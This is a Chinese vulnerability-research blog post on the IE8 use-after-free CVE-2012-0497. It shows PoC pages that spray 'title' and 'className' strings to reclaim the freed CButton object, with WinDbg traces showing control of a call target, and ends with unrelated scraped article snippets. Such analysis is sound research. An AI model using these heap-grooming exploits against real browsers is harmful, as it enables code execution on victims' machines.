用ClassName占位和title占位的分析

这里以CVE-2012-0497为例,poc如下:

<!doctype html>
<html>
<head>
     <script>
     function helloWorld() {
          var e0 = null;
          var e1 = null;
          var e2 = null;

          try {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement(‘button‘));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement(‘body‘));
          } catch(e) { }
          CollectGarbage();
          var eip = window;
          var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
          eip.location = unescape("AA" + data);
     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

 以上代码在ie8+win7 32 位下测试,漏洞具体细节不多说,分析后得到的UAF对象大小为0x58,下面是占位的代码:

用title来占位:

<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u4141%u4141");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;

try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement(‘button‘));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement(‘body‘));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}

</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

这样占位后的内存如下:

(cdc.eb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=002d7978 ecx=00000052 edx=00000000 esi=00000000 edi=002dbac8
eip=6ac6e1e0 esp=0208cfb4 ebp=0208d00c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4e5:
6ac6e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????
0:005> !heap -p -a edi
    address 002dbac8 found in
    _HEAP @ 250000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        002dbac0 000c 0000  [00]   002dbac8    00054 - (busy)

0:005> dd edi-10
002dbab8  00000000 00000000 75ad7fe1 8c000000
002dbac8  41414141 41414141 41414141 41414141
002dbad8  41414141 41414141 41414141 41414141
002dbae8  41414141 41414141 41414141 41414141
002dbaf8  41414141 41414141 41414141 41414141
002dbb08  41414141 41414141 41414141 41414141
002dbb18  00004141 00000000 75ad7fdd 88000000
002dbb28  73843fb4 00000000 73868f88 00000000

同样用className来占位的话:

<!doctype html>
<html>
<head>
     <script>
     var arr_button = new Array();
    var junk=unescape("%u4141%u4141");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
     function helloWorld() {
          var e=document.createElement(‘div‘);
          var e0 = null;
          var e1 = null;
          var e2 = null;
for(i =0; i < 20; i++)
{
                document.createElement(‘button‘);
}
          try {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement(‘button‘));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement(‘body‘));
          } catch(e) { }
          CollectGarbage();
          for(var i = 0; i<0x50; i++)
          {
               arr_button[i]= document.createElement("button");
               arr_button[i].className= junk.substring(0,(0x58-6)/2);
          }

     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

占位后的内存:

irst chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000ffff ebx=00491e50 ecx=00000052 edx=00000000 esi=00000000 edi=004bc3b0
eip=01000000 esp=0254d640 ebp=0254d69c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
01000000 ??              ???
0:005> !heap -p -a edi
    address 004bc3b0 found in
    _HEAP @ 410000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        004bc3a8 000c 0000  [00]   004bc3b0    00058 - (free)

0:005> dd edi
004bc3b0  0000ffff 41414141 41414141 41414141
004bc3c0  41414141 41414141 41414141 41414141
004bc3d0  41414141 41414141 41414141 41414141
004bc3e0  41414141 41414141 41414141 41414141
004bc3f0  41414141 41414141 41414141 41414141
004bc400  41414141 00004141 0ac4ae7f 8c000000
004bc410  41414141 41414141 41414141 41414141
004bc420  41414141 41414141 41414141 41414141

感觉很神奇,为什么用className同样的方式去占位却没有成功,明显分配的字符串已经被释放掉了。

可是我们对代码稍加修改:

arr_div[i]= document.createElement("div");
arr_div[i].className= junk.substring(0,(0x5C-6)/2);

占位后的内存如下:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0035c780 ecx=00000052 edx=00000000 esi=00000000 edi=0032c3b0
eip=6959e1e0 esp=024cd70c ebp=024cd764 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4e5:
6959e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????
0:005> !heap -p -a edi
    address 0032c3b0 found in
    _HEAP @ 280000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0032c3a8 000c 0000  [00]   0032c3b0    00058 - (busy)

0:005> dd edi
0032c3b0  41414141 41414141 41414141 41414141
0032c3c0  41414141 41414141 41414141 41414141
0032c3d0  41414141 41414141 41414141 41414141
0032c3e0  41414141 41414141 41414141 41414141
0032c3f0  41414141 41414141 41414141 41414141
0032c400  41414141 00004141 0c936b32 88000000
0032c410  41414141 41414141 41414141 41414141
0032c420  41414141 41414141 41414141 41414141

那么前面用title占位所分配的字节(0x58-6)/2 为什么会分配的字节数是0x54呢?安照经典的理论来讲,BSTR字符串在内存中应该是如下的布局:

--------------------------------------------------------

00 00 00 00| 00 00 00 00 .......                 | 00 00

--------------------------------------------------------

长度                  0x58字节的数据                    结尾标识

---------------------------------------------------------

但是看看占位的内存:

0:005> !heap -p -a edi
    address 00123ce0 found in
    _HEAP @ 70000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00123cd8 000c 0000  [00]   00123ce0    00058 - (busy)

0:005> dd edi-10
00123cd0  00610000 00000000 377139ba 88000000
00123ce0  41414141 41414141 41414141 41414141
00123cf0  41414141 41414141 41414141 41414141
00123d00  41414141 41414141 41414141 41414141
00123d10  41414141 41414141 41414141 41414141
00123d20  41414141 41414141 41414141 41414141
00123d30  41414141 00004141 37713986 88000000
00123d40  41414141 41414141 41414141 41414141

大小竟然是0x88000000,很明显这块内存并不是我们分配的BSTR字符串,这里梳理一下,在UAF占位中,由于对某块内存的误释放(这里是0x58字节大小的CButton),然后我们需要申请到这块被释放的CButton对象内存,然后就可以控制程序的流程。

OK,以ClassName为例,看看这个过程是如何操作的:

1.找到分配的BSTR字符串:

通过mshtml.dll的一些函数名,可以猜测到函数CElement::SetClassHelper是负责进行这个过程的函数,

给该函数下断来证明:

(这里分配的大小为(0x5c-6)/2)

Breakpoint 0 hit
eax=024e9eec ebx=69b6ce7c ecx=024e9ee8 edx=0003d388 esi=69b6ce7c edi=006aa198
eip=69bbdf7b esp=024e9ec8 ebp=024e9edc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::SetClassHelper:
69bbdf7b 8bff            mov     edi,edi

0:005> dd poi(eax)
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
00628334 00000000 00000002 00000000 00000000

0:005> dd poi(eax)-10
006282b4 00000000 4f78d699 8c000000 00000056
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001

0:005> !heap -p -a poi(eax)
address 006282c4 found in
_HEAP @ 5d0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
006282b8 000d 0000 [00] 006282c0 0005c - (busy)

 

上面红色的内存即BSTR对象,0x56为数据的大小,整个BSTR占据的堆内存大小为0x5c,继续看看该函数:

int __stdcall CElement::SetClassHelper(int a1, int *a2)
{
  int v2; // [email protected]
  int result; // [email protected]
  bool v4; // [email protected]

  v2 = *a2;
  result = CBase::AddString(a1, -2147417111, *a2, 0);
  if ( !result )
  {
    v4 = v2 && *(_WORD *)v2;
    *(_BYTE *)(a1 + 33) ^= (v4 ^ *(_BYTE *)(a1 + 33)) & 1;
  }
  *(_BYTE *)(a1 + 33) &= 0xFDu;
  return result;
}

继续往下跟:

CBase::AddString》CAttrArray::Set》CAttrArray::Set》CAttrValue::InitVariant

重点在这个函数里面,我们中断到_HeapAllocString这个函数看看其参数:

0:005> p
eax=00000000 ebx=006282c4 ecx=0000001f edx=024e9e38 esi=024e9e0c edi=024e9e38
eip=69b86f15 esp=024e9df4 ebp=024e9e10 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CAttrValue::InitVariant+0x152:
69b86f15 e8e3f1ffff      call    mshtml!_HeapAllocString (69b860fd)

0:005> dd esp
024e9df4 006282c4 00000000 024e9e94 00000000
024e9e04 00000000 00000000 0000001f 024e9e48
024e9e14 69b723c3 024e9e94 00000000 006282c4
024e9e24 006aa1a4 69b6ce7c 00690ef0 00000000
024e9e34 00000000 00000000 800103e9 00000000
024e9e44 00000000 024e9e70 69b7230f 800103e9
024e9e54 00000000 024e9e94 00000000 00000000
024e9e64 00000000 006aa198 024e9ee8 024e9ea4
0:005> dd 006282c4
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
00628334 00000000 00000002 00000000 00000000

发现第一个参数恰好是我们分配的BSTR对象.

signed int __userpurge _HeapAllocString<eax>(SIZE_T a1<ecx>, int a2<esi>, char *Src)
{
  char *v3; // [email protected]
  __int16 v4; // [email protected]
  void *v5; // [email protected]
  signed int result; // [email protected]
  SIZE_T Size; // [sp+0h] [bp-4h]@1

  Size = a1;
  v3 = Src;
  do
  {
    v4 = *(_WORD *)v3;
    v3 += 2;
  }
  while ( v4 );
  if ( ULongAdd((v3 - (Src + 2)) >> 1, 1u, &Size) < 0
    || ULongLongToUInt((int)&Size, 2i64 * Size, (unsigned int *)Size) < 0 )
  {
    v5 = 0;
    *(_DWORD *)a2 = 0;
  }
  else
  {
    v5 = HeapAlloc(g_hProcessHeap, 0, Size);
    *(_DWORD *)a2 = v5;
  }
  if ( v5 )
  {
    memcpy(v5, Src, Size);
    result = 0;
  }
  else
  {
    result = -2147024882;
  }
  return result;
}

然后在该函数中计算BSTR对象的大小并调用HeapAlloc分配内存,然后用memcpy将BSTR对象的字符串拷贝到这片内存!

最后这里分配的内存空间实际上为0x58大小,即BSTR字符串的大小-4,实际上相当于去掉了BSTR对象的头部(4个字节)并进行的内存的重新分配和拷贝。

0:005> bp 69b8614e ".printf \"Allocated Buffer Address =0x%0x \\n \",eax;gc"

以上断点打印出HeapAlloc后的内存并对比最终被重用的内存:

0:005> g
Allocated Buffer Address =0x67c3b0
Allocated Buffer Address =0x67c410
 Allocated Buffer Address =0x67c470
 Allocated Buffer Address =0x6cd2a8
 Allocated Buffer Address =0x6cd308
 Allocated Buffer Address =0x6cd368
 Allocated Buffer Address =0x6cd3c8
 Allocated Buffer Address =0x6cd428
 Allocated Buffer Address =0x6cd488
 Allocated Buffer Address =0x6cd4e8
 Allocated Buffer Address =0x6cd548
 Allocated Buffer Address =0x6cd5a8
 Allocated Buffer Address =0x6cd608
 Allocated Buffer Address =0x6cd668
 Allocated Buffer Address =0x6cd6c8
 Allocated Buffer Address =0x6cd728
 Allocated Buffer Address =0x6cd788
 Allocated Buffer Address =0x6cd7e8
 Allocated Buffer Address =0x6cd848
 Allocated Buffer Address =0x6cd8a8
 Allocated Buffer Address =0x6cd908
 Allocated Buffer Address =0x6cd968
 Allocated Buffer Address =0x6cd9c8
 Allocated Buffer Address =0x6cda28
 Allocated Buffer Address =0x6cda88
 Allocated Buffer Address =0x6cdae8
 Allocated Buffer Address =0x6cdb48
 Allocated Buffer Address =0x6cdba8
 Allocated Buffer Address =0x6cdc08
 Allocated Buffer Address =0x6cdc68
 Allocated Buffer Address =0x6cdcc8
 Allocated Buffer Address =0x6cdd28
 Allocated Buffer Address =0x6cdd88
 Allocated Buffer Address =0x6cdde8
 Allocated Buffer Address =0x6cde48
 Allocated Buffer Address =0x6cdea8
 Allocated Buffer Address =0x6cdf08
 Allocated Buffer Address =0x6cdf68
 Allocated Buffer Address =0x6cdfc8
 Allocated Buffer Address =0x6ce028
 Allocated Buffer Address =0x6ce088
 Allocated Buffer Address =0x6ce0e8
 Allocated Buffer Address =0x6ce148
 Allocated Buffer Address =0x6ce1a8
 Allocated Buffer Address =0x6ce208
 Allocated Buffer Address =0x32c5868
 Allocated Buffer Address =0x32c58c8
 Allocated Buffer Address =0x32c5928
 Allocated Buffer Address =0x32c5988
 Allocated Buffer Address =0x32c59e8
 Allocated Buffer Address =0x32c5a48
 Allocated Buffer Address =0x32c5aa8
 Allocated Buffer Address =0x32c5b08
 Allocated Buffer Address =0x32c5b68
 Allocated Buffer Address =0x32c5bc8
 Allocated Buffer Address =0x32c5c28
 Allocated Buffer Address =0x32c5c88
 Allocated Buffer Address =0x32c5ce8
 Allocated Buffer Address =0x32c5d48
 Allocated Buffer Address =0x32c5da8
 Allocated Buffer Address =0x32c5e08
 Allocated Buffer Address =0x32c5e68
 Allocated Buffer Address =0x32c5ec8
 Allocated Buffer Address =0x32c5f28
 Allocated Buffer Address =0x32c5f88
 Allocated Buffer Address =0x32c5fe8
 Allocated Buffer Address =0x32c6048
 Allocated Buffer Address =0x32c60a8
 Allocated Buffer Address =0x32c6108
 Allocated Buffer Address =0x32c6168
 Allocated Buffer Address =0x32c61c8
 Allocated Buffer Address =0x32c6228
 Allocated Buffer Address =0x32c6288
 Allocated Buffer Address =0x32c62e8
 Allocated Buffer Address =0x32c6348
 Allocated Buffer Address =0x32c63a8
 Allocated Buffer Address =0x32c6408
 Allocated Buffer Address =0x32c6468
 Allocated Buffer Address =0x32c64c8
 Allocated Buffer Address =0x32c6528
 (d6c.d50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=006a5918 ecx=00000052 edx=00000000 esi=00000000 edi=0067c3b0
eip=69b5e1e0 esp=024ed3cc ebp=024ed424 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4e5:
69b5e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????

可以看出0x67c3b0即我们第一次分配的内存,已经被成功的占位了!

另外还需要说明前面在调用title的时候用(0x58-6)/2也可以成功的占位,不过这次占位确实分配的内存是0x54而不是0x58,不过由于这块内存小于0x58而且最靠近0x58,因此根据堆分配策略也会将

释放的CButton内存分配给title。

用ClassName占位和title占位的分析,布布扣,bubuko.com

时间: 2024-10-25 03:11:00

用ClassName占位和title占位的分析的相关文章

总结:C#变量,占位符等相关知识

新年耽误了不少时间,好久没认真的坐下来学习了,新年也快完了,又要开始正式学习了,按着视频教学学习,用了一天的时间,学习了下简单的变量及其相关的输入输出和应用,学了几种最基本的类型: int(整型) char(字符型) string(字符串类型)double(双精度浮点数) decimal(货币值类型) float(浮点数). Main方法中,不允许重复申明变量,但可以重复赋值,重复赋值以后原来的变量值被顶替为新赋的值. 一.  在C#中,“+” 有两种含义: 1.联值符号,当+左右两边只要有一边

占位图像

占位图像 // 0. 占位图像 UIImage *placeholder = [UIImage imageNamed:@"user_default"]; cell.imageView.image = placeholder; 问题 因为使用的是系统提供的 cell 每次和 cell 交互,layoutSubviews 方法会根据图像的大小自动调整 imageView 的尺寸 解决办法 自定义 Cell 自定义 Cell cell.nameLabel.text = app.name; c

Lorem 占位符

Web开发者通常用lorem ipsum text来做占位符,占位符就是占着位置的一些文字,没有实际意义. 为什么叫lorem ipsum text呢? 是因为lorem ipsum是古罗马西塞罗谚语的前两个单词. 从公元16世纪开始lorem ipsum text就被当做占位符了,这种传统延续到了互联网时代. 代码段: lorem

第一天--来个占位符,让自己有一席之地

格式占位符 格式占位符(%)是在C/C++语言中格式输入函数,如scanf.printf等函数中使用.其意义就是起到格式占位的意思,表示在该位置有输入或者输出. 格式字符说明 %d, %i,代表整数,%f-浮点,%s,字符串,%c,char. %p 指针,%fL 长log,%e科学计数,%g 小数或科学计数. C语言中的格式占位符: %a,%A 读入一个浮点值(仅C99有效) %c 读入一个字符 %d 读入十进制整数 %i 读入十进制,八进制,十六进制整数 %o 读入八进制整数 %x,%X 读入

Java字符串占位符

一,问题描述 在C#中,替换字符串中占位符可以使用如下: string domain = "www.oschina.net";              Console.WriteLine(String.Format("该域名{0}被访问了N次.", domain));          那么在Java中如何实现这类情景下的替换工作呢????     二,解决方案         Java里面的文本替换有多种方式,我例举两种,仅仅做个笔记             1

PHP中函数sprintf .vsprintf (占位符)

sprintf()格式化字符串写入一个变量中. vsprintf()格式化字符串些写入变量中. <?php $num1 = 123; $num2 = 456; $txt = vsprintf("%f%f",array($num1,$num2)); echo $txt; ?> 输出: 123.000000456.000000 语法 sprintf(format,arg1,arg2,arg++) 参数 描述 format 必需.转换格式. arg1 必需.规定插到 format

python-sqlite3之占位符

The sqlite3 module supports two kinds of placeholders: question marks (qmark style) and named placeholders (named style). execute(sql[, parameters]) sqlite3模块支持两种占位符:?占位符 和 有名占位符. 但是在使用 ?占位符时,要注意一点 当传入一个参数且该参数是字符串时,要将该字符串转换为 列表或元组. 验证过程如下:仔细看注释并运行 1

python——格式化输出、占位符、format()

占位符 常用占位符 描述 %s 字符串 %d 十进制整数 %o 八进制 %x 十六进制 %f 浮点数 >>> print('%s' % 'hello world') # 字符串输出 hello world >>> print('%20s' % 'hello world') # 右对齐,取20位,不够则补位 hello world >>> print('%-20s' % 'hello world') # 左对齐,取20位,不够则补位 hello worl

Python 字符串占位符与.format格式化的用法

直接上代码,一看就能懂: my_name = 'Richard' age = 22 salary = int(input('please input your salary:')) #method 1 占位符,%s表示只能接受string, %d代表只能接受数字,所以上边salary接受的input输入,需要强转为int类型 res1 = 'res1: My name is %s ,I\'m %d years old, my salary is %d'%(my_name,age,salary)